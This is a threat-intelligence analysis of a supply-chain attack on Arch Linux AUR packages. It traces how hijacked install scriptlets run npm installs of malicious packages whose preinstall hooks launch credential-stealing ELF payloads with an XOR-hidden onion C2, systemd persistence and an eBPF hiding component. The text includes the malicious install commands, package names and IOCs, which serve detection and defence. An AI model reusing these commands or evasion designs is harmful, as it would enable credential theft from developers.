Context
In June 2026, a large-scale supply chain poisoning incident was exposed in the Arch Linux AUR ecosystem, with Sonatype naming the activity "Atomic Arch." This incident did not involve any zero-day vulnerabilities in the official Arch Linux repositories, pacman, AUR helpers, or Arch Linux itself; rather, attackers abused the AUR orphaned package adoption mechanism to legally take over packages that had long been unmaintained but were still trusted by users, and modified their PKGBUILD or installation scripts.
When users perform routine AUR installation or upgrade operations, the malicious script invokes npm or Bun to install JavaScript packages controlled by the attacker, and uses npm lifecycle hooks to execute a Linux ELF payload. This payload primarily targets Linux developer workstations and build environments, capable of stealing sensitive information such as GitHub credentials, npm tokens, SSH keys, Docker/Podman configurations, Vault secrets, browser data, and shell history.
During the public disclosure phase, the number of affected AUR packages has grown from an initial 400+ to approximately 1,500. This incident highlights how "unmaintained yet trusted" components in the open-source ecosystem are becoming a new supply chain entry point for attackers to chain together scripts, package manager lifecycle hooks, and developer local environments.
This article analyzes the static analysis results from MistEye on `runescape-launcher`, `atomic-lockfile@1.4.2`, and `js-digest@4.2.2` to outline the key technical stages of this attack chain. These samples are not exhaustive representations of all attack instances but are selected to reveal the underlying attack patterns.
MistEye response
MistEye is a proprietary Web3 threat intelligence and dynamic security monitoring system developed by SlowMist, integrating security monitoring and intelligence aggregation to provide users with real-time risk alerts and asset protection.
In this Arch Linux AUR supply chain poisoning incident, MistEye analyzed and correlated attack chain components including the malicious packages, npm dependencies, ELF payloads, C2 communications, and second-stage downloads, and extracted relevant IOCs. Based on the analysis, MistEye has delivered high-risk alerts and threat intelligence advisories to clients to assist them in promptly identifying and mitigating associated supply chain risks. Intelligence details:

Below is the detailed technical analysis.
Attack chain analysis: AUR install scriptlet to npm lifecycle script
The technical chain of this attack can be summarized in three progressive layers: The attacker compromised AUR packages and modified the build/install scripts to trigger npm install during pacman installation or upgrade, thereby fetching malicious packages; subsequently, they leveraged npm lifecycle scripts (preinstall) to automatically execute the embedded Linux ELF native payload. The following details each of these three layers.
Layer 1: The AUR install scriptlet transfers execution rights to npm.
Take the runescape-launcher package (version 2.2.12-1) as an example. The attacker introduced a reference to install.sh in both .SRCINFO and PKGBUILD, and declared npm as a runtime dependency.
Key statements in .SRCINFO:

Corresponding declaration in PKGBUILD:

install.sh is a pacman install scriptlet file. The attacker defined the post_install() function in this file and pointed post_upgrade() to the same function:

The key execution chain is as follows:
.SRCINFO declares install = install.sh and depends = npm
→ PKGBUILD synchronization notice: install="install.sh" and depends=('npm' ...)
→ makepkg includes install.sh in the final pacman package
→ pacman calls post_install() during the first installation
→ post_upgrade() is called during pacman upgrade
→ post_upgrade() calls post_install()
→ post_install() enters /tmp
→ Run npm install atomic-lockfile commander chalk → npm installed atomic-lockfile@1.4.2
Trigger the preinstall of atomic-lockfile
→ Execute Linux x86-64 ELF payload src/hooks/deps
Note the following: commander and chalk are legitimate, popular packages on npm and are not necessarily malicious; the same post_install() function also contains existing or accompanying setcap logic, and the malicious additions are cd /tmp and npm install atomic-lockfile commander chalk.
The core design intent of this layer is to use Pacman's package installation/upgrading lifecycle as a springboard to transfer execution control from the system package manager to npm, triggering this transition during both initial installation and upgrades.
Layer 2: npm lifecycle triggers native ELF—atomic-lockfile@1.4.2
atomic-lockfile@1.4.2 was the first confirmed malicious npm package used in this attack. The package masquerades as a file locking library, maintaining a complete TypeScript/JavaScript library structure, including main/module/exports entry points, CLI, and type definitions. However, the attacker configured an automatically executed native binary in the scripts.preinstall field of package.json:

src/hooks/deps is not a regular dependency installation script, but a stripped Linux x86-64 PIE ELF executable. Key metadata:
- File path: src/hooks/deps
- File type: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
- ELF SHA-256: 6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b
- Size: 3,040,376 bytes
- Dynamic dependencies: libbpf.so.1, libm.so.6, libc.so.6
- Embedded eBPF object SHA-256: 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
- Embedded eBPF object offset: 0x324f9
- Original tarball SHA-256: 64bc53032ecfbf4e25d0191d75321821ba2ae01bdb123b4c8c2ebd12161253fc
The capabilities of this ELF payload include credential harvesting, persistence, channelized communication/upload, and attempting to enable eBPF stealth components under root or with the appropriate capabilities; details are outlined below.
Repeated XOR decoding with Tor hidden service C2
In the ELF payload of atomic-lockfile@1.4.2, the critical C2 address does not appear as a plaintext string but is stored after being encoded with repeating-XOR. The sample embeds a 32-byte key at offset 0x1aa60 and stores a 62-byte ciphertext at offset 0x2da96. The decoding method is:
plain[i] = cipher[i] ^ key[i % 32]
The decoded result is the Tor v3 hidden service address:
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

The 62-byte length exactly corresponds to a 56-character Tor v3 onion hostname plus the .onion suffix. In addition to the C2 host, the sample also uses the same approach to encode the agent identifier and version:
- Agent name: atomic, key offset 0x1bc60, cipher offset 0x3fddf
- Agent version: 0.8.2, key offset 0x1c900, cipher offset 0x3fde5
This design ensures that the full C2 does not appear in standard strings output. Therefore, relying solely on strings | grep .onion, plaintext YARA rules, or simple IOC extraction processes may fail to detect this hidden service C2.
Tor/SOCKS communication link
Although the C2 host is hidden using XOR encoding, plaintext strings related to SOCKS/Tor are still visible in the ELF file, such as:

These strings, combined with the decoded .onion address, indicate that the payload includes a communication framework for accessing a hidden service C2 via SOCKS/Tor.
Additionally, ELF contains HTTP request construction and upload-related strings, including POST, GET, HTTP/1.0, HTTP/1.1, Host:, Content-Length:, Content-Type: application/json, Content-Type: application/octet-stream, POST /upload HTTP/1.1, and Content-Type: multipart/form-data. The presence of POST /upload and multipart templates indicates that the payload has upload construction capabilities; however, whether this corresponds to the temp.sh service or whether actual data exfiltration occurs requires confirmation through dynamic traffic analysis, proxy logs, or host forensic evidence.
Credentials and development environment collection surface
The ELF's credential harvesting surface covers multiple critical credential storage points on modern developer workstations.
Regarding remote platform credentials, the payload contains strings related to GitHub token validation and repository enumeration—GET /user, GET /user/repos, Authorization: Bearer, Accept: application/vnd.github+json; npm token validation strings—GET /-/whoami, registry.npmjs.org, _authToken=; and Vault credential-related strings—/.vault-token, X-Vault-Token:.
In terms of instant messaging and collaboration tools, Slack-related strings include the API paths auth.test, conversations.list, users.info, and SQL queries targeting %.slack.com cookies; Teams/Skype-related strings include X-Skypetoken:, authsvc.teams.microsoft.com, and cookie queries targeting %teams.microsoft.com; Discord-related strings such as discord: are also present.
Regarding local and container environments, the payload targets SSH credential files such as .ssh, known_hosts, PRIVATE KEY, and PuTTY-User-Key-File, as well as paths for .bash_history, .zsh_history, .env, and Chrome browser cookies and local storage. Strings related to Docker/Podman and DevOps tools—including docker login, docker push, docker pull, docker build, docker run, docker tag, docker-compose, podman login, and podman push—are present in ELF files, but currently serve only as static string indicators; the full data collection chain has not yet been confirmed. Claude: These strings may also serve as indicators related to AI tools, but cannot alone prove Claude data collection.

Upload and two-stage download
The payload includes an HTTP multipart upload template and data staging paths such as /var/tmp and /secrets. The sample is capable of communicating tasks and results via an onion C2 and constructing multipart upload requests; whether it corresponds to the temp.sh service or successfully uploads or exfiltrates data on the specific compromised host must be confirmed through dynamic execution, proxy logs, or host forensic evidence. The second-stage download chain also leaves clear static traces: the /bin/sha256/ path and the "sha256 fetch:" string point to the second-stage hash verification path; "server returned empty binary" and "tmp 200 headers too large" indicate error-handling logic for failed second-stage downloads. Tor bundle retrieval traces such as /tor-expert-bundle- combined with SOCKS transport pathways form staging download indicators.
Suspected cryptominer indicators
The ELF file of atomic-lockfile contains the string /usr/bin/monero-wallet-gui. Combined with the two-stage download chain, it is suspected that the payload may retrieve Monero mining-related binaries in the second stage. However, no strong miner indicators such as xmrig, randomx, stratum, mining pool domains, or wallet addresses have been confirmed within the current sample; therefore, the presence of an embedded miner cannot be asserted.
Persistence
The sample includes systemd service templates covering both user-level and system-level startup scenarios, indicating an intent to register itself as a system service and continue running after reboots or user session startups.

eBPF Stealth and Anti-Forensics
eBPF (extended Berkeley Packet Filter) is a mechanism provided by the Linux kernel that allows users to load and run restricted custom programs into the kernel without modifying its source code. While typically used for network filtering, observability, and security monitoring, the eBPF component in this sample is designed as a reverse tool—not to observe the system, but to hide itself.
The ELF payload of atomic-lockfile@1.4.2, located at src/hooks/deps, depends on libbpf.so.1 and attempts to load an embedded eBPF relocatable object using APIs such as bpf_object__open_mem, bpf_object__load, bpf_program__attach, and bpf_map__pin. This logic does not execute unconditionally: the sample first calls geteuid() to check if the user is root, then reads /proc/self/status, parses the CapEff: field, and tests the capability bits corresponding to CAP_BPF and CAP_SYS_ADMIN. More precisely, the sample only enters the eBPF loading path if the required permissions are satisfied. In other words, it functions more like a conditional stealth module; current static evidence does not indicate that it successfully escalates privileges.
Disassembly shows that the host program reads an embedded object of length 0xce28 (52,776 bytes) starting at offset 0x324f9, which is an eBPF object. The SHA-256 of this object is:
3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01

The extracted eBPF object is a standalone compiled artifact with an ELF 64-bit LSB relocatable file type, containing debug_info/BTF information and not stripped. Its debugging information also leaks the source code path:
/cloud/scales/agent/../ebpf/scales.bpf.c
This eBPF object combines BPF maps (data tables for storing state) and tracepoints (kernel event hooks) to generate various stealth and anti-forensic traces. Its debug information and symbols include names such as hidden_pids, hidden_names, hidden_inodes, net_fds, diag_fds, getdents64, ptrace, recvmsg, and bpf_probe_write_user, indicating its design goals include hiding processes, concealing directory entries, obscuring sockets/inodes related to network connections, and interfering with debugger attachment.
Specifically, the functional traces of this eBPF object can be categorized into three types:
- Hide processes and directory entries: hidden_pids stores the PIDs to be hidden; the logic related to sched_process_exec adds matching PIDs to the hidden set when a new program is executed, based on matching process names against hidden_names. The logic related to getdents64 handles directory read results, allowing malware to hide specified PIDs or directory entries from listings such as /proc.
- Network connection enumeration interference: Clues such as recvmsg, socket, hidden_inodes, net_fds, and diag_fds indicate interference with network connection enumeration results, potentially affecting the socket/inode information visible to tools like ss and netstat.
- Block debugging and tampering with returned results: ptrace, PTRACE_ATTACH, PTRACE_SEIZE, and bpf_send_signal(9) indicate anti-forensic design to prevent debugger attachment; multiple instances of bpf_probe_write_user strings reveal evidence of the object’s capability to modify userspace read buffers, a key method for hiding directory entries and network entries.
Since this is a static analysis and the sample was not dynamically executed, we cannot confirm the actual success rate of loading this eBPF object on a specific host, nor can we assert that it has genuinely hidden processes, directory entries, or network connections. However, based on the permission check logic, map structure, tracepoint coverage, and indications of bpf_probe_write_user usage, its design intent appears to be concealing process, directory entry, and network connection-related socket/inode traces under root privileges or with appropriate kernel capabilities, while also creating obstacles for dynamic analysis.
Layer 3: .mjs suffix impersonation — js-digest@4.2.2
js-digest@4.2.2 is the confirmed malicious npm package used in the subsequent wave of this attack. The package masquerades as a JavaScript digest/cryptography library and contains seemingly legitimate source files such as aes.js, sha256.js, hmac-sha512.js, and index.js. The attacker also configured a preinstall script in package.json:

The key difference from atomic-lockfile lies in the payload's naming strategy. The .mjs suffix of install-deps.mjs suggests it is an ESM JavaScript module, potentially lowering vigilance among human auditors and extension-based detection rules. However, static file type identification reveals it is actually a Linux x86-64 PIE ELF. Key metadata:
- File path: lib/install-deps.mjs
- Suffix implies: ESM JavaScript module
- Actual file type: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
- ELF SHA-256: 7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316
- Size: 3,193,176 bytes
- Dynamic dependencies: libbpf.so.1, libm.so.6, libc.so.6
- Embedded eBPF object SHA-256: 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
- Embedded eBPF object offset: 0x37d91
- Original tarball SHA-256: 0e6a2b7ef9e15c1b8b002466d75257f7ef4105b7e3f2183df1527de2e1d2bf6f
js-digest also uses repeating-XOR encoding to conceal the C2. A 32-byte key is embedded at offset 0x1cba0, and a 62-byte ciphertext is stored at offset 0x32bcb; the decoded result is identical to that of atomic-lockfile:
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion

Its agent identifier and version are:
- Agent name: cryjs (key offset 0x1d740, cipher offset 0x45ec2)
- Agent version: 0.8.4 (key offset 0x1ec40, cipher offset 0x45ec7)
The two agents have different names (atomic vs. cryjs) and versions (0.8.2 vs. 0.8.4), but share the same onion C2 address and the same embedded eBPF object.
js-digest shows high consistency with atomic-lockfile in credential collection-related strings, SOCKS/Tor transport chains, multipart upload templates, systemd persistence template strings, and second-stage download fragments (/bin/sha256/, sha256 fetch:). However, Docker/Podman and @reboot-related indicators are less evident in js-digest compared to atomic-lockfile, and /usr/bin/monero-wallet-gui was not confirmed in js-digest.
The .mjs suffix spoofing is a notable evasion technique in this attack: it exploits blind spots in differential detection—pattern-matching rules based on strings and filenames may classify .mjs files as "JavaScript modules" without verifying their actual MIME type or ELF header.
Correlated sample: Dual hard evidence linking onion C2 with eBPF object
There are two independently attributable hard evidences between the two malicious npm packages, atomic-lockfile@1.4.2 and js-digest@4.2.2:
Hard Evidence #1: Shared Tor Hidden Service C2. Although the two ELF payloads differ in host, agent names (atomic vs. cryjs), and versions (0.8.2 vs. 0.8.4), and each uses a distinct repeating-XOR key and ciphertext, both decode to the same Tor hidden service address: olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion. It is statistically implausible that two independently developed malware frameworks would coincidentally select the same 56-character v3 onion address as their C2.
Hard Evidence Two: The shared eBPF object bytes are identical. The embedded eBPF relocatable objects in both ELF files have identical SHA-256 hashes:
3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
The eBPF object is 52,776 bytes in size, with an ELF 64-bit LSB relocatable file type, containing debug_info and not stripped, with source code paths labeled as scales.bpf.c. The key maps (hidden_pids, hidden_names, hidden_inodes), tracepoints (getdents64, sched_process_exec, ptrace, openat, recvmsg, etc.), and core functions (walk_dirent, name_to_pid, bpf_probe_write_user) are identical across both samples. The eBPF object is a compilation artifact; byte-for-byte identity indicates that both ELF files were built using the exact same eBPF C source code.
In addition to the above concrete evidence, the two ELF payloads exhibit highly similar design approaches in engineering aspects such as credential harvesting-related strings, SOCKS/Tor transmission architecture, multipart upload templates, and systemd persistence template strings. These consistencies serve as supporting observations that further reinforce the conclusion that the two samples share a common origin.
The key differences between the two samples are as follows: different host ELF hashes, different agent names and versions (atomic / 0.8.2 vs. cryjs / 0.8.4), different payload naming strategies (src/hooks/deps vs. .mjs obfuscation), /usr/bin/monero-wallet-gui appears only in atomic-lockfile, and ExecStart=@reboot is statically present only in atomic-lockfile. These differences indicate that the two samples are highly related to the same operational infrastructure, build chain, or activity cluster, rather than being simple re-packaged variants.
Summary
This Arch Linux AUR supply chain poisoning attack highlights the exploitation of two structural weaknesses in the open-source software ecosystem: first, the AUR orphan package adoption mechanism lacks trust verification of adopters; second, the executable trust boundaries of lifecycle scripts in package managers (pacman and npm) are chained together during installation—attackers do not rely on any software vulnerabilities, but instead construct a complete attack chain by abusing the maintenance mechanisms and design behaviors of the open-source ecosystem.
The technical characteristics of this attack chain can be summarized into the following three levels:
AUR trust inheritance abuse. Instead of creating new packages or exploiting software vulnerabilities, attackers claim abandoned AUR packages to inherit their existing user base. For example, with runescape-launcher, the attacker used the legitimate AUR claim process to take over the package, inserted the command "npm install atomic-lockfile" into install.sh, and invoked post_install() via post_upgrade() to trigger it during upgrades. Victims performing routine yay -S or paru -S commands do not expect that the PKGBUILD and .install scripts have been tampered with.
Double-layered lifecycle chaining and C2 obfuscation. Attackers use pacman’s post_install()/post_upgrade() scriptlets as an entry point to trigger npm install during AUR package installation or upgrade, then exploit npm’s preinstall lifecycle to execute a Linux ELF payload. The C2 address of the payload is obfuscated using repeating-XOR encoding, making it impossible to extract directly via simple strings or grep .onion. The onion C2 is better described as a communication channel for tasks, results, and status; the payload also has the capability to construct multipart upload requests. Whether the temp.sh service is engaged or whether the upload succeeds on the specific victim host requires dynamic or log-based evidence for confirmation.
The payload combination enables multi-stage attack capabilities. The ELF payload statically covers credential harvesting (GitHub/npm/Slack/Discord/Teams/Vault/SSH/browsers, as well as DevOps artifacts such as Docker/Podman), multi-channel communication and upload construction (onion C2 + multipart upload templates), persistence templates (systemd user/system services compatible with WantedBy=multi-user.target and WantedBy=default.target), and conditional defense evasion (attempting to enable eBPF-based process, filename, and socket/inode hiding when sufficient privileges are granted, and using bpf_send_signal(9) to block ptrace debugging). Additionally, js-digest introduces .mjs file extension obfuscation to further reduce the effectiveness of extension-based detection.
Recommendation:
- Immediately check all installed AUR packages for PKGBUILD or .install scripts containing commands such as npm install atomic-lockfile, bun install js-digest, or similar npm/Bun pull commands. If affected packages are found, immediately perform forensic analysis and credential rotation in an isolated environment.
- Check for unusual systemd services/timers in ~/.config/systemd/user and /etc/systemd/system, and look for abnormal BPF maps such as hidden_pids, hidden_names, and hidden_inodes in /sys/fs/bpf/.
- Rotate GitHub PAT/GITHUB_TOKEN, npm tokens, Slack/Discord/Teams sessions, Vault tokens, SSH private keys, Docker/Podman credentials, and all keys stored in .env files on affected developer machines.
- The CI/CD build environment should be rebuilt from a trusted baseline image, rather than simply cleaning node_modules or removing individual malicious packages.
- AUR users are advised to review PKGBUILD and .install scripts line by line before installing any recently claimed or long-inactive packages, paying attention to whether they contain external command calls such as npm install, bun install, curl, or wget.
IOC
Domain name
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
Malicious dependency
npm: atomic-lockfile@1.4.2
npm:js-digest@4.2.2
npm:nextfile-js@1.4.2
npm: lockfile-js@1.4.2
Malicious file
filename: src/hooks/deps SHA256: 6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b
filename: lib/install-deps.mjs SHA256: 7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316
filename: atomic-lockfile-1.4.2.tar.gz SHA256: 64bc53032ecfbf4e25d0191d75321821ba2ae01bdb123b4c8c2ebd12161253fc
filename: js-digest-4.2.2.tar.gz SHA256: 0e6a2b7ef9e15c1b8b002466d75257f7ef4105b7e3f2183df1527de2e1d2bf6f
filename: embedded eBPF object SHA256: 3607de2597f8955f9a88f36ee43b64d3891b8ef536e99fa098e80169350f7b01
This article was prepared by the SlowMist Threat Intelligence Team, combining insights from the MistEye Threat Intelligence System and SlowMist Agent AI-driven analysis. Feel free to reach out with any questions or feedback.
Reference link
1. https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency
